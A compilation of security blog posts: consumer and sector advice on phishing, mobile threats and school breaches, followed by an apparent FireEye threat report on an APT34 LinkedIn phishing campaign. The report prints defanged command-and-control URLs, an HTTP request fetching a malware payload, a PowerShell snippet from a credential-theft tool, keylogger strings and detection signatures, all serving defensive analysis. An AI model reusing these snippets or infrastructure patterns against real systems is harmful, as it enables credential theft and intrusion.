Law firms, as with all modern day working practices, are heavily reliant on technology – the sheer amount of expected connectivity makes everyone vulnerable. Research enforces the scale of the problem: in 2017,
60% of law firms reported an incident, but that’s only those who identified an issue. There has also been a significant 42% increase in reported incidents in the last five years. This could mean that either businesses are more aware so are reporting cases, or cyber crime is on the rise. It's most likely a combination of both.

Facing Vulnerabilities
The legal sector is particularly vulnerable to cyber attacks due to the volume of data, sensitive information, financial responsibility and authority it holds. If a law firm specialises in corporate or property law, they are at greater risk, as the potential for financial gain is unprecedented. Although the main reason law firms are targeted is for financial gain, there is also a growth in cyber adversaries seeking political, economic or ideological goals.

Law firms are perceived to be an easy target – particularly smaller firms, as they don’t have the same resources as larger practices, but still hold significant funds. Also, they most likely have a small team managing their entire business infrastructure, with limited IT security resources available. It is often misconstrued that cyber security is the sole responsibility of the IT department, but the reality is that every department is accountable. Cyber security is part of the bigger information risk management picture, and requires emphasis from business leaders.

Not only do law firms and their clients have to consider the financial impact of a cyber attack, but reputational damage for their practice can be irreversible. Therefore, to ensure law firms are protected, they need to be aware of the consequences of a phishing attack.

Acknowledging Threats

Email is the main route in for cyber criminals. Phishing attacks can take the form of impersonation, intercepted emails and/or malicious attachments. The aim of threat actors responsible for these attacks is to coerce users into making a mistake, such as disclosing sensitive information, providing users’ credentials or downloading malware.

Unfortunately, not a single law firm – or any organisation, for that matter – is exempt from being the next victim of a cyber attack. Law firms need to take action and be prepared. When it comes to mitigating email compromise, law firms cannot expect employees to bear the burden of identifying threats, but instead must utilise the technology available to spot incoming threats as they arise.

The use of multiple detection engines and threat intelligence sources transforms email security and threat protection. Real-time fraud detection and content checking automatically highlight phishing and social engineering techniques, removing the burden from users and bringing a level of sophistication to current cyber strategies that is needed to keep today’s threats at bay. By automatically flagging potentially concerning emails – such as those attempting to mislead, harvest credentials or spread malicious elements – individuals can make fast, informed and confident decisions regarding their legitimacy.

Without doubt, impersonation attacks, payment diversion fraud and business email compromise attacks are on the rise, but there are robust solutions in place to mitigate the associated risks. There is no need for – and indeed no excuse for – passing the buck to the user community. There is an abundance of resources available to help law firms adopt a proactive cyber security mindset – notably, the
threat report from the NCSC raises awareness and highlights specific safeguards that can be put in place.

It is time for the legal sector to take cyber security seriously. Failing to do so will only lead to devastating repercussions in the not-so-distant future. For a sector that is so protective of its reputation, every precaution should be put in place to keep it safe.

Cybercrime’s Most Wanted: Four Mobile Threats that Might Surprise You

It’s hard to imagine a world without cellphones. Whether it be a smartphone or a flip phone, these devices have truly shaped the late 20th century and will continue to do so for the foreseeable future. But while users have become accustomed to having almost everything they could ever want at fingertips length, cybercriminals were busy setting up shop. To trick unsuspecting users, cybercriminals have set up crafty mobile threats – some that users may not even be fully aware of. These sneaky cyberthreats include SMSishing, fake networks, malicious apps, and grayware, which have all grown in sophistication over time. This means users need to be equipped with the know-how to navigate the choppy waters that come with these smartphone-related cyberthreats. Let’s get started.

Watch out for SMSishing Hooks

If you use email, then you are probably familiar with what phishing is. And while phishing is commonly executed through email and malicious links, there is a form of phishing that specifically targets mobile devices called SMSishing. This growing threat allows cybercriminals to utilize messaging apps to send unsuspecting users a SMSishing message. These messages serve one purpose – to obtain personal information, such as logins and financial information. With that information, cybercriminals could impersonate the user to access banking records or steal their identity.

While this threat was once a rarity, it’s rise in popularity is two-fold. The first aspect being that users have been educated to distrust email messages and the second being the rise in mobile phone usage throughout the world. Although this threat shows no sign of slowing down, there are ways to avoid a cybercriminal’s SMSishing hooks. Get started with these tips:

  1. Always double-check the message’s source. If you receive a text from your bank or credit card company, call the organization directly to ensure the message is legit.
  2. Delete potential SMSishing Do not reply to or click on any links within a suspected malicious text, as that could lead to more SMSishing attempts bombarding your phone.
  3. Invest in comprehensive mobile security. Adding an extra level of security can not only help protect your device but can also notify you when a threat arises.

Public Wi-Fi Woes  

Public and free Wi-Fi is practically everywhere nowadays, with some destinations even having city-wide Wi-Fi set up. But that Wi-Fi users are connecting their mobile device to may not be the most secure, given cybercriminals can exploit weaknesses in these networks to intercept messages, login credentials, or other personal information. Beyond exploiting weaknesses, some cybercriminals take it a step further and create fake networks with generic names that trick unsuspecting users into connecting their devices. These networks are called “evil-twin” networks. For help in spotting these imposters, there are few tricks the savvy user can deploy to prevent an evil twin network from wreaking havoc on their mobile device:

  1. Look for password-protected networks. As strange as it sounds, if you purposely enter the incorrect password but are still allowed access, the network is most likely a fraud.
  2. Pay attention to page load times. If the network you are using is very slow, it is more likely a cybercriminal is using an unreliable mobile hotspot to connect your mobile device to the web.
  3. Use a virtual private network or VPN. While you’re on-the-go and using public Wi-Fi, add an extra layer of security in the event you accidentally connect to a malicious network. VPNs can encrypt your online activity and keep it away from prying eyes. 

Malicious Apps: Fake It till They Make It

Fake apps have become a rampant problem for Android and iPhone users alike. This is mainly in part due to malicious apps hiding in plain sight on legitimate sources, such as the Google Play Store and Apple’s App Store. After users download a faulty app, cybercriminals deploy malware that operates in the background of mobile devices which makes it difficult for users to realize anything is wrong. And while users think they’ve just downloaded another run-of-the-mill app, the malware is hard at work obtaining personal data.

In order to keep sensitive information out of the hands of cybercriminals, here are a few things users can look for when they need to determine whether an app is fact or fiction:

  1. Check for typos and poor grammar. Always check the app developer name, product title, and description for typos and grammatical errors. Often, malicious developers will spoof real developer IDs, even just by a single letter or number, to seem legitimate.
  2. Examine the download statistics. If you’re attempting to download a popular app, but it has a surprisingly low number of downloads, that is a good indicator that an app is most likely fake.
  3. Read the reviews. With malicious apps, user reviews are your friend. By reading a few, you can receive vital information that can help you determine whether the app is fake or not.

The Sly Operation of Grayware

With so many types of malware out in the world, it’s hard to keep track of them all. But there is one in particular that mobile device users need to be keenly aware of called grayware. As a coverall term for software or code that sits between normal and malicious, grayware comes in many forms, such as adware, spyware or madware. While adware and spyware can sometimes operate simultaneously on infected computers, madware — or adware on mobile devices — infiltrates smartphones by hiding within rogue apps. Once a mobile device is infected with madware from a malicious app, ads can infiltrate almost every aspect on a user’s phone. Madware isn’t just annoying; it also is a security and privacy risk, as some threats will try to obtain users’ data. To avoid the annoyance, as well as the cybersecurity risks of grayware, users can prepare their devices with these cautionary steps:

  1. Be sure to update your device. Grayware looks for vulnerabilities that can be exploited, so be sure to always keep your device’s software up-to-date.
  2. Beware of rogue apps. As mentioned in the previous section, fake apps are now a part of owning a smartphone. Use the tips in the above section to ensure you keep malicious apps off of your device that may contain grayware.
  3. Consider a comprehensive mobile security system. By adding an extra level of security, you can help protect your devices from threats, both old and new.

Can’t get enough mobile security tips and trends? Follow @McAfee_Home on Twitter, and like us on Facebook.

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7 Questions to Ask Your Child’s School About Cybersecurity Protocols

Just a few weeks into the new school year and, already, reports of malicious cyberattacks in schools have hit the headlines. While you’ve made digital security strides in your home, what concerns if any should you have about your child’s data being compromised at school?

There’s a long and short answer to that question. The short answer is don’t lose sleep (it’s out of your control) but get clarity and peace of mind by asking your school officials the right questions. 

The long answer is that cybercriminals have schools in their digital crosshairs. According to a recent report in The Hill, school districts are becoming top targets of malicious attacks, and government entities are scrambling to fight back. These attacks are costing school districts (taxpayers) serious dollars and costing kids (and parents) their privacy.


Prime Targets

According to one report, a U.S. school district becomes the victim of cyberattack as often as every three days. The reason for this is that cybercriminals want clean data to exploit for dozens of nefarious purposes. The best place to harvest pure data is schools where social security numbers are usually unblemished and go unchecked for years. At the same time, student data can be collected and sold on the dark web. Data at risk include vaccination records, birthdates, addresses, phone numbers, and contacts used for identity theft. 

Top three cyberthreats

The top three threats against schools are data breaches, phishing scams, and ransomware. Data breaches can happen through phishing scams and malware attacks that could include malicious email links or fake accounts posing as acquaintances. In a ransomware attack, a hacker locks down a school’s digital network and holds data for a ransom. 

Over the past month, hackers have hit K-12 schools in New Jersey, New York, Wisconsin, Virginia, Oklahoma, Connecticut, and Louisiana. Universities are also targeted.

In the schools impacted, criminals were able to find loopholes in their security protocols. A loophole can be an unprotected device, a printer, or a malicious email link opened by a new employee. It can even be a calculated scam like the Virginia school duped into paying a fraudulent vendor $600,000 for a football field. The cybercrime scenarios are endless. 

7 key questions to ask

  1. Does the school have a data security and privacy policy in place as well as cyberattack response plan?
  2. Does the school have a system to educate staff, parents, and students about potential risks and safety protocols? 
  3. Does the school have a data protection officer on staff responsible for implementing security and privacy policies?
  4. Does the school have reputable third-party vendors to ensure the proper technology is in place to secure staff and student data?
  5. Are data security and student privacy a fundamental part of onboarding new school employees?
  6. Does the school create backups of valuable information and store them separately from the central server to protect against ransomware attacks?
  7. Does the school have any new technology initiatives planned? If so, how will it address student data protection?

The majority of schools are far from negligent. Leaders know the risks, and many have put recognized cybersecurity frameworks in place. Also, schools have the pressing challenge of 1) providing a technology-driven education to students while at the same time, 2) protecting student/staff privacy and 3) finding funds to address the escalating risk.

Families can add a layer of protection to a child’s data while at school by making sure devices are protected in a Bring Your Own Device (BYOD) setting. Cybersecurity is a shared responsibility. While schools work hard to implement safeguards, be sure you are taking responsibility in your digital life and equipping your kids to do the same. 

 

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5 Digital Risks That Could Affect Your Kids This New School Year

digital risks

digital risksStarting a new school year is both exciting and stressful for families today. Technology has magnified learning and connection opportunities for our kids but not without physical and emotional costs that we can’t overlook this time of year.

But the transition from summer to a new school year offers families a fresh slate and the chance to evaluate what digital ground rules need to change when it comes to screen time. So as you consider new goals, here are just a few of the top digital risks you may want to keep on your radar.

  1. Cyberbullying. The online space for a middle or high school student can get ugly this time of year. In two years, cyberbullying has increased significantly from 11.5% to 15.3%. Also, three times as many girls reported being harassed online or by text than boys, according to the U.S. Department of Education.
    Back-to-School Tip: Keep the cyberbullying discussion honest and frequent in your home. Monitor your child’s social media apps if you have concerns that cyberbullying may be happening. To do this, click the social icons periodically to explore behind the scenes (direct messages, conversations, shared photos). Review and edit friend lists, maximize location and privacy settings, and create family ground rules that establish expectations about appropriate digital behavior, content, and safe apps.Make an effort to stay current on the latest social media apps, trends, and texting slang so you can spot red flags. Lastly, be sure kids understand the importance of tolerance, empathy, and kindness among diverse peer groups.
  2. Oversharing. Did you know that 30% of parents report posting a photo of their child(ren) to social media at least once per day, and 58% don’t ask permission? By the age of 13, studies estimate that parents have posted about 1,300 photos and videos of their children online. A family’s collective oversharing can put your child’s privacy, reputation, and physical safety at risk. Besides, with access to a child’s personal information, a cybercriminal can open fraudulent accounts just about anywhere.
    Back-to-School Tip: Think before you post and ask yourself, “Would I be okay with a stranger seeing this photo?” Make sure there is nothing in the photo that could be an identifier such as a birthdate, a home address, school uniforms, financial details, or password hints. Also, maximize privacy settings on social networks and turn off photo geo-tagging that embeds photos with a person’s exact coordinates. Lastly, be sure your child understands the lifelong consequences that sharing explicit photos can have on their lives.
  3. Mental health + smartphone use. There’s no more disputing it (or indulging tantrums that deny it) smartphone use and depression are connected. Several studies of teens from the U.S. and U.K. reveal similar findings: That happiness and mental health are highest at 30 minutes to two hours of extracurricular digital media use a day. Well-being then steadily decreases, according to the studies, revealing that heavy users of electronic devices are twice as unhappy, depressed, or distressed as light users.
    Back-to-School Tip: Listen more and talk less. Kids tend to share more about their lives, friends, hopes, and struggles if they believe you are truly listening and not lecturing. Nurturing a healthy, respectful, mutual dialogue with your kids is the best way to minimize a lot of the digital risks your kids face every day. Get practical: Don’t let your kids have unlimited phone use. Set and follow media ground rules and enforce the consequences of abusing them.
  4. Sleep deprivation. Sleep deprivation connected to smartphone use can dramatically increase once the hustle of school begins and Fear of Missing Out (FOMO) accelerates. According to a 2019 Common Sense Media survey, a third of teens take their phones to bed when they go to sleep; 33% girls versus 26% of boys. Too, 1 in 3 teens reports waking up at least once per night and checking their phones.digital risks
    Back-to-School Tip:
    Kids often text, playing games, watch movies, or YouTube videos randomly scroll social feeds or read the news on their phones in bed. For this reason, establish a phone curfew that prohibits this. Sleep is food for the body, and tweens and teens need about 8 to 10 hours to keep them healthy. Discuss the physical and emotional consequences of losing sleep, such as sleep deprivation, increased illness, poor grades, moodiness, anxiety, and depression.
  5. School-related cyber breaches. A majority of schools do an excellent job of reinforcing the importance of online safety these days. However, that doesn’t mean it’s own cybersecurity isn’t vulnerable to cyber threats, which can put your child’s privacy at risk. Breaches happen in the form of phishing emails, ransomware, and any loopholes connected to weak security protocols.
    Back-to-School Tip: Demand that schools be transparent about the data they are collecting from students and families. Opt-out of the school’s technology policy if you believe it doesn’t protect your child or if you sense an indifferent attitude about privacy. Ask the staff about its cybersecurity policy to ensure it has a secure password, software, and network standards that could affect your family’s data is compromised.

Stay the course, parent, you’ve got this. Armed with a strong relationship and media ground rules relevant to your family, together, you can tackle any digital challenge the new school year may bring.

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Be Wary of WhatsApp Messages Offering 1000GB of Free Data

Global messaging giant WhatsApp turned 10 years old this year. It’s not unusual for companies to provide loyal customers or members with gifts to show their appreciation during these milestones. Unfortunately, cybercriminals are using this as a ploy to carry out their malicious schemes. According to Forbes, security researchers have discovered a fraudulent message promising users 1000GB of free internet data, which is a scam bringing in ad click revenue for cybercriminals.

Let’s dive into the details of this suspicious message. The text reads “WhatsApp Offers 1000GB Free Internet!” and includes a link to click on for more details. However, the link provided doesn’t use an official WhatsApp domain. Many users might find this confusing since some businesses do run their promotions through third-party organizations. Forbes states that once a user clicks on the link, they are taken to a landing page that reads “We offer you 1000 GB free internet without Wi-Fi! On the occasion of our 10th anniversary of WhatsApp.” To make the user feel like they need to act fast, the landing page also displays a bright yellow countdown sticker warning that there are a limited number of awards left.

As of now, it doesn’t appear that the link spreads malware or scrapes users’ personal information. However, the scam could eventually evolve into a phishing tactic. Additionally, the more users click on the fraudulent link, the more the cybercriminals behind this scheme rack up bogus ad clicks. This ultimately brings in revenue for the cybercrooks, encouraging them to continue creating these types of scams. For example, the domain being used by the scammers behind the WhatsApp message also hosts other fake brand-led promotional offers for Adidas, Nestle, Rolex, and more.

So, what can users do to prevent falling for these phony ads? Check out the following tips to help you stay secure:

  • Avoid interacting with suspicious messages. Err on the side of caution and don’t respond to direct messages from a company that seems out of the ordinary. If you want to know if a company is participating in a promotional offer, it is best to go directly to their official site to get more information.
  • Be careful what you click on.If you receive a message in an unfamiliar language, one that contains typos, or one that makes claims that seem too good to be true, avoid clicking on any attached links.
  • Stay secure while you browse online. Security solutions like McAfee WebAdvisor can help safeguard you from malware and warn you of phishing attempts so you can connect with confidence.

And, of course, stay on top of the latest consumer and mobile security threats by following me and @McAfee_Home on Twitter, listen to our podcast Hackable?, and ‘Like’ us on Facebook.

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School of Cyberthreats: 3 Attacks Impacting Today’s Schools

Educational institutions are data-rich gold mines. From student and employee records to sensitive financial information, schools contain a plethora of data that can be obtained by cybercriminals rather easily due to lack of security protocols. This fact has cybercriminals pivoting their strategies, leading to a recent uptick in attacks on the education sector in the United States and around the world. In fact, there are three main threats impacting schools — data breaches, phishing, and ransomware. Let’s take a look at each of these threats, how cybercriminals have executed them, and the precautions students can take in the future.

Data Breaches

Nearly half of the cyberattacks that impacted schools in 2018 were data breaches, which occur when an unauthorized, third-party gains access to a school’s network. From there, cybercriminals gain access to a host of private information on employees and students, including names, dates of birth, addresses, phone numbers, email addresses, and Social Security numbers. After an attack of this nature occurs, educational institutions reassess their current cybersecurity strategy. This usually entails revisiting privacy settings and reviewing all security protocols. 

Phishing

Even the savviest email user can fall for a phishing scheme. These types of schemes usually entail tricking teachers or students out of private information or money. When cybercriminals send emails with fraudulent links, unsuspecting users click on that link because the web address is usually only off by one or two letters. Once the scammer has been given access through the malicious link, they get to work obtaining private information contained on the device. Using this data, they can enact further schemes. There have even been cases of cybercriminals impersonating deans or teachers asking for gift cards, which is a type of spear-phishing where scammers take the information they have obtained about a victim and use it to their advantage. The good news? Users can prevent against these sneaky attacks by staying vigilant and applying security best practices.

Ransomware

When ransomware hits, schools don’t really have a lot of options. If they have data backups in place, then they don’t have to pay the ransom, otherwise educational institutions have no choice but to completely shut down. Considering how much technology has been integrated into classrooms, this isn’t surprising. A ransomware attack usually occurs when a school district’s system is infiltrated by a virus intending to bring operations to a halt. Cybercriminals hold systems hostage for a certain amount of money or ransom until the district decides to pay. The data that is held can range from a variety of things – lesson plans, financial information, personal employee and student records. There aren’t many ways for schools to bypass these types of attacks unless they are prepared beforehand. One way to be prepared is to back up files in multiple places, such as an external hard drive or cloud.

With the uptick in overall cyberthreats against schools, more and more educational institutions need to put protocols into place to avoid the multitude of ever-growing threats. However, students can do their part in prioritizing cybersecurity by following these tips to ensure personal data is secure:

  1. Watch what you are clicking. Phishing schemes are becoming craftier. A too good to be true study guide or deal on a textbook might end in a compromised system. It is always best to check directly with the source of the email or link before handing over money or data.
  2. Make sure you recognize the sender. When responding to a message, first check to see if you recognize the sender’s name and email address. If it looks strange, ignore the message. If you are unsure, check with the sender in person.
  3. Never reuse passwords. Many users reuse the same passwords or slight variations of it, across all of their accounts. That means if a hacker uncovers one password, all other accounts are put at risk. So, it is crucial to use different passcodes to ensure hackers cannot obtain access to all of your accounts.
  4. Stay on a secure network. If you connect to public Wi-Fi, be sure the network is secure. If it is not, consider using a virtual private network (VPN).
  5. Install security software on all devices. Security doesn’t begin or end with personal computers. All devices need to be protected with comprehensive security software, including mobile devices and tablets.
  6. Make sure all device software is up-to-date. This is one of the easiest and best ways to secure devices against threats, as developers are constantly releasing patches for vulnerabilities and flaws.

And as always, if you are interested in learning more about IoT and mobile security trends and information, follow @McAfee_Home on Twitter, and ‘Like” us on Facebook.

The post School of Cyberthreats: 3 Attacks Impacting Today’s Schools appeared first on McAfee Blogs.

Hard Pass: Declining APT34’s Invite to Join Their Professional Network

Background

With increasing geopolitical tensions in the Middle East, we expect Iran to significantly increase the volume and scope of its cyber espionage campaigns. Iran has a critical need for strategic intelligence and is likely to fill this gap by conducting espionage against decision makers and key organizations that may have information that furthers Iran's economic and national security goals. The identification of new malware and the creation of additional infrastructure to enable such campaigns highlights the increased tempo of these operations in support of Iranian interests.

FireEye Identifies Phishing Campaign

In late June 2019, FireEye identified a phishing campaign conducted by APT34, an Iranian-nexus threat actor. Three key attributes caught our eye with this particular campaign:

  1. Masquerading as a member of Cambridge University to gain victims’ trust to open malicious documents,
  2. The usage of LinkedIn to deliver malicious documents,
  3. The addition of three new malware families to APT34’s arsenal.

FireEye’s platform successfully thwarted this attempted intrusion, stopping a new malware variant dead in its tracks. Additionally, with the assistance of our FireEye Labs Advanced Reverse Engineering (FLARE), Intelligence, and Advanced Practices teams, we identified three new malware families and a reappearance of PICKPOCKET, malware exclusively observed in use by APT34. The new malware families, which we will examine later in this post, show APT34 relying on their PowerShell development capabilities, as well as trying their hand at Golang.

APT34 is an Iran-nexus cluster of cyber espionage activity that has been active since at least 2014. They use a mix of public and non-public tools to collect strategic information that would benefit nation-state interests pertaining to geopolitical and economic needs. APT34 aligns with elements of activity reported as OilRig and Greenbug, by various security researchers. This threat group has conducted broad targeting across a variety of industries operating in the Middle East; however, we believe APT34's strongest interest is gaining access to financial, energy, and government entities.

Additional research on APT34 can be found in this FireEye blog post, this CERT-OPMD post, and this Cisco post.

Managed Defense also initiated a Community Protection Event (CPE) titled “Geopolitical Spotlight: Iran.” This CPE was created to ensure our customers are updated with new discoveries, activity and detection efforts related to this campaign, along with other recent activity from Iranian-nexus threat actors to include APT33, which is mentioned in this updated FireEye blog post.

Industries Targeted

The activities observed by Managed Defense, and described in this post, were primarily targeting the following industries:

  • Energy and Utilities
  • Government
  • Oil and Gas

Utilizing Cambridge University to Establish Trust

On June 19, 2019, FireEye’s Managed Defense Security Operations Center received an exploit detection alert on one of our FireEye Endpoint Security appliances. The offending application was identified as Microsoft Excel and was stopped immediately by FireEye Endpoint Security’s ExploitGuard engine. ExploitGuard is our behavioral monitoring, detection, and prevention capability that monitors application behavior, looking for various anomalies that threat actors use to subvert traditional detection mechanisms. Offending applications can subsequently be sandboxed or terminated, preventing an exploit from reaching its next programmed step.

The Managed Defense SOC analyzed the alert and identified a malicious file named System.doc (MD5: b338baa673ac007d7af54075ea69660b), located in C:\Users\<user_name>\.templates. The file System.doc is a Windows Portable Executable (PE), despite having a "doc" file extension. FireEye identified this new malware family as TONEDEAF.

A backdoor that communicates with a single command and control (C2) server using HTTP GET and POST requests, TONEDEAF supports collecting system information, uploading and downloading of files, and arbitrary shell command execution. When executed, this variant of TONEDEAF wrote encrypted data to two temporary files – temp.txt and temp2.txt – within the same directory of its execution. We explore additional technical details of TONEDEAF in the malware appendix of this post.

Retracing the steps preceding exploit detection, FireEye identified that System.doc was dropped by a file named ERFT-Details.xls. Combining endpoint- and network-visibility, we were able to correlate that ERFT-Details.xls originated from the URL http://www.cam-research-ac[.]com/Documents/ERFT-Details.xls. Network evidence also showed the access of a LinkedIn message directly preceding the spreadsheet download.

Managed Defense reached out to the impacted customer’s security team, who confirmed the file was received via a LinkedIn message. The targeted employee conversed with "Rebecca Watts", allegedly employed as "Research Staff at University of Cambridge". The conversation with Ms. Watts, provided in Figure 1, began with the solicitation of resumes for potential job opportunities.


Figure 1: Screenshot of LinkedIn message asking to download TONEDEAF

This is not the first time we’ve seen APT34 utilize academia and/or job offer conversations in their various campaigns. These conversations often take place on social media platforms, which can be an effective delivery mechanism if a targeted organization is focusing heavily on e-mail defenses to prevent intrusions.

FireEye examined the original file ERFT-Details.xls, which was observed with at least two unique MD5 file hashes:

  • 96feed478c347d4b95a8224de26a1b2c
  • caf418cbf6a9c4e93e79d4714d5d3b87

A snippet of the VBA code, provided in Figure 2, creates System.doc in the target directory from base64-encoded text upon opening.


Figure 2: Screenshot of VBA code from System.doc

The spreadsheet also creates a scheduled task named "windows update check" that runs the file C:\Users\<user_name>\.templates\System Manager.exe every minute. Upon closing the spreadsheet, a final VBA function will rename System.doc to System Manager.exe. Figure 3 provides a snippet of VBA code that creates the scheduled task, clearly obfuscated to avoid simple detection.


Figure 3: Additional VBA code from System.doc

Upon first execution of TONEDEAF, FireEye identified a callback to the C2 server offlineearthquake[.]com over port 80.

The FireEye Footprint: Pivots and Victim Identification

After identifying the usage of offlineearthquake[.]com as a potential C2 domain, FireEye’s Intelligence and Advanced Practices teams performed a wider search across our global visibility. FireEye’s Advanced Practices and Intelligence teams were able to identify additional artifacts and activity from the APT34 actors at other victim organizations. Of note, FireEye discovered two additional new malware families hosted at this domain, VALUEVAULT and LONGWATCH. We also identified a variant of PICKPOCKET, a browser credential-theft tool FireEye has been tracking since May 2018, hosted on the C2.

Requests to the domain offlineearthquake[.]com could take multiple forms, depending on the malware’s stage of installation and purpose. Additionally, during installation, the malware retrieves the system and current user names, which are used to create a three-character “sys_id”. This value is used in subsequent requests, likely to track infected target activity. URLs were observed with the following structures:

  • hxxp[://]offlineearthquake[.]com/download?id=<sys_id>&n=000
  • hxxp[://]offlineearthquake[.]com/upload?id=<sys_id>&n=000
  • hxxp[://]offlineearthquake[.]com/file/<sys_id>/<executable>?id=<cmd_id>&h=000
  • hxxp[://]offlineearthquake[.]com/file/<sys_id>/<executable>?id=<cmd_id>&n=000

The first executable identified by FireEye on the C2 was WinNTProgram.exe (MD5: 021a0f57fe09116a43c27e5133a57a0a), identified by FireEye as LONGWATCH. LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Window’s temp folder. Further information regarding LONGWATCH is detailed in the Malware Appendix section at the end of the post.

FireEye Network Security appliances also detected the following being retrieved from APT34 infrastructure (Figure 4).

GET hxxp://offlineearthquake.com/file/<sys_id>/b.exe?id=<3char_redacted>&n=000
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0)
AppleWebKit/537.36 (KHTML, like Gecko)
Host: offlineearthquake[.]com
Proxy-Connection: Keep-Alive Pragma: no-cache HTTP/1.1

Figure 4: Snippet of HTTP traffic retrieving VALUEVAULT; detected by FireEye Network Security appliance

FireEye identifies b.exe (MD5: 9fff498b78d9498b33e08b892148135f) as VALUEVAULT.

VALUEVAULT is a Golang compiled version of the "Windows Vault Password Dumper" browser credential theft tool from Massimiliano Montoro, the developer of Cain & Abel.

VALUEVAULT maintains the same functionality as the original tool by allowing the operator to extract and view the credentials stored in the Windows Vault. Additionally, VALUEVAULT will call Windows PowerShell to extract browser history in order to match browser passwords with visited sites. Further information regarding VALUEVAULT can be found in the appendix below.

Further pivoting from FireEye appliances and internal data sources yielded two additional files, PE86.dll (MD5: d8abe843db508048b4d4db748f92a103) and PE64.dll (MD5: 6eca9c2b7cf12c247032aae28419319e). These files were analyzed and determined to be 64- and 32-bit variants of the malware PICKPOCKET, respectively.

PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome, Firefox, and Internet Explorer to a file. This tool was previously observed during a Mandiant incident response in 2018 and, to date, solely utilized by APT34.

Conclusion

The activity described in this blog post presented a well-known Iranian threat actor utilizing their tried-and-true techniques to breach targeted organizations. Luckily, with FireEye’s platform in place, our Managed Defense customers were not impacted. Furthermore, upon the blocking of this activity, FireEye was able to expand upon the observed indicators to identify a broader campaign, as well as the use of new and old malware.

We suspect this will not be the last time APT34 brings new tools to the table. Threat actors are often reshaping their TTPs to evade detection mechanisms, especially if the target is highly desired. For these reasons, we recommend organizations remain vigilant in their defenses, and remember to view their environment holistically when it comes to information security.

Malware Appendix

TONEDEAF

TONEDEAF is a backdoor that communicates with Command and Control servers using HTTP or DNS. Supported commands include system information collection, file upload, file download, and arbitrary shell command execution. Although this backdoor was coded to be able to communicate with DNS requests to the hard-coded Command and Control server, c[.]cdn-edge-akamai[.]com, it was not configured to use this functionality. Figure 5 provides a snippet of the assembly CALL instruction of dns_exfil. The creator likely made this as a means for future DNS exfiltration as a plan B.


Figure 5: Snippet of code from TONEDEAF binary

Aside from not being enabled in this sample, the DNS tunneling functionality also contains missing values and bugs that prevent it from executing properly. One such bug involves determining the length of a command response string without accounting for Unicode strings. As a result, a single command response byte is sent when, for example, the malware executes a shell command that returns Unicode output. Additionally, within the malware, an unused string contained the address 185[.]15[.]247[.]154.

VALUEVAULT

VALUEVAULT is a Golang compiled version of the “Windows Vault Password Dumper” browser credential theft tool from Massimiliano Montoro, the developer of Cain & Abel.

VALUEVAULT maintains the same functionality as the original tool by allowing the operator to extract and view the credentials stored in the Windows Vault. Additionally, VALUEVAULT will call Windows PowerShell to extract browser history in order to match browser passwords with visited sites. A snippet of this function is shown in Figure 6.

powershell.exe /c "function get-iehistory {. [CmdletBinding()]. param (). . $shell = New-Object -ComObject Shell.Application. $hist = $shell.NameSpace(34). $folder = $hist.Self. . $hist.Items() | . foreach {. if ($_.IsFolder) {. $siteFolder = $_.GetFolder. $siteFolder.Items() | . foreach {. $site = $_. . if ($site.IsFolder) {. $pageFolder = $site.GetFolder. $pageFolder.Items() | . foreach {. $visit = New-Object -TypeName PSObject -Property @{ . URL = $($pageFolder.GetDetailsOf($_,0)) . }. $visit. }. }. }. }. }. }. get-iehistory

Figure 6: Snippet of PowerShell code from VALUEVAULT to extract browser credentials

Upon execution, VALUEVAULT creates a SQLITE database file in the AppData\Roaming directory under the context of the user account it was executed by. This file is named fsociety.dat and VALUEVAULT will write the dumped passwords to this in SQL format. This functionality is not in the original version of the “Windows Vault Password Dumper”. Figure 7 shows the SQL format of the fsociety.dat file.


Figure 7: SQL format of the VALUEVAULT fsociety.dat SQLite database

VALUEVAULT’s function names are not obfuscated and are directly reviewable in strings analysis. Other developer environment variables were directly available within the binary as shown below. VALUEVAULT does not possess the ability to perform network communication, meaning the operators would need to manually retrieve the captured output of the tool.

C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/new_edge.go
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/mozila.go
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/main.go
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/ie.go
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/Chrome Password Recovery.go

Figure 8: Golang files extracted during execution of VALUEVAULT

LONGWATCH

FireEye identified the binary WinNTProgram.exe (MD5:021a0f57fe09116a43c27e5133a57a0a) hosted on the malicious domain offlineearthquake[.]com. FireEye identifies this malware as LONGWATCH. The primary function of LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Windows temp folder.

Interesting strings identified in the binary are shown in Figure 9.

GetAsyncKeyState
>---------------------------------------------------\n\n
c:\\windows\\temp\\log.txt
[ENTER]
[CapsLock]
[CRTL]
[PAGE_UP]
[PAGE_DOWN]
[HOME]
[LEFT]
[RIGHT]
[DOWN]
[PRINT]
[PRINT SCREEN] (1 space)
[INSERT]
[SLEEP]
[PAUSE]
\n---------------CLIPBOARD------------\n
\n\n >>>  (2 spaces)
c:\\windows\\temp\\log.txt

Figure 9: Strings identified in a LONGWATCH binary

Detecting the Techniques

FireEye detects this activity across our platforms, including named detection for TONEDEAF, VALUEVAULT, and LONGWATCH. Table 2 contains several specific detection names that provide an indication of APT34 activity.

Signature Name

FE_APT_Keylogger_Win_LONGWATCH_1

FE_APT_Keylogger_Win_LONGWATCH_2

FE_APT_Keylogger_Win32_LONGWATCH_1

FE_APT_HackTool_Win_PICKPOCKET_1

FE_APT_Trojan_Win32_VALUEVAULT_1

FE_APT_Backdoor_Win32_TONEDEAF

TONEDEAF BACKDOOR [DNS]

TONEDEAF BACKDOOR [upload]

TONEDEAF BACKDOOR [URI]

Table 1: FireEye Platform Detections

Endpoint Indicators

Indicator

MD5 Hash (if applicable)

Code Family

System.doc

b338baa673ac007d7af54075ea69660b

TONEDEAF

 

50fb09d53c856dcd0782e1470eaeae35

TONEDEAF

ERFT-Details.xls

96feed478c347d4b95a8224de26a1b2c

TONEDEAF DROPPER

 

caf418cbf6a9c4e93e79d4714d5d3b87

TONEDEAF DROPPER

b.exe

9fff498b78d9498b33e08b892148135f

VALUEVAULT

WindowsNTProgram.exe

021a0f57fe09116a43c27e5133a57a0a

LONGWATCH

PE86.dll

d8abe843db508048b4d4db748f92a103

PICKPOCKET

PE64.dll

6eca9c2b7cf12c247032aae28419319e

PICKPOCKET

